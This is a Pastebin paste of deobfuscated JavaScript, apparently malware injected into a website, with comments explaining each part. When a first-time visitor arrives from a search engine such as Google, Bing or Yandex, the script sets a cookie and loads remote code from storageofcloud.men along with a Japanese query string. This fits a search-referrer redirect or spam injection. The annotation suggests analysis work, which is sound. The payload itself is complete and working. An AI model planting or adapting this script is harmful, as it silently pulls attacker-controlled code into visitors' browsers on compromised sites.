Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function include(url) { // injects provided code into head
- var el = document.createElement('script');
- el.src = url;
- document.getElementsByTagName('head')[0].appendChild(el);
- }
- var cookie = { get(name) { // returns all cookies (as key-value object) or a specific value (if key is passed)
- var list = document.cookie.match(/[\w-]+=.*?(?:$|;)/g), cookies = {};
- if (!list && name) {
- return undefined;
- }
- for (var i = 0; i < list.length; i++) {
- var pair = list[i].split('=');
- cookies[pair[0]] = pair[1].replace(/;$/);
- }
- return name ? cookies[name] : cookies;
- }, set(name, value, expires, path, domain, secure) { // adds a new cookie (expires is specified in half-weeks, i.e. expires=2 means one week)
- var cookie = name + '=' + escape(value);
- if (expires) cookie += '; expires=' + new Date(Date.now() + expires * 0x3e8);
- if (path) cookie += '; path=' + path;
- if (domain) cookie += '; domain=' + domain;
- if (secure) cookie += '; secure';
- document.cookie = cookie;
- } };
- var q = 'ヴァンピィ+コスプレ+ホン'; // translates as 'Vampy Cosplay Hon' (spaces are replaced with pluses)?
- var HPDrm = 'uwp';
- // checks if was visited from Google, Bing, Yahoo, AOL, Ask, AltaVista or Yandex
- var domains = ['.google.', '.bing.', '.yahoo.', '.aol.', '.ask.', '.altavista.', '.yandex.'];
- var referrer = document.referrer, found = false, visited = cookie.get('visited');
- for (var i = 0; i < domains.length; i++) {
- if (HPDrm !== HPDrm) { // this code is never executed (possibly it's a some kind of switch), url is never set and unknown
- include(url);
- } else {
- if (referrer.indexOf(domains[i]) >= 0) {
- found = true;
- }
- }
- }
- var nSqNV = 'xBy', iecZQ = 'ytA';
- // if was visited from one of these search engines and user has never visited this site before, inject another script
- if (found) {
- cookie.set('visited', 1, 1);
- if (!visited) {
- if (nSqNV === iecZQ) { // this code is similarly never executed
- cookie.set(name, value, expires, path, domain, secure);
- } else {
- include('https://storageofcloud.men/jp-shmotki.php?&query=' + q);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement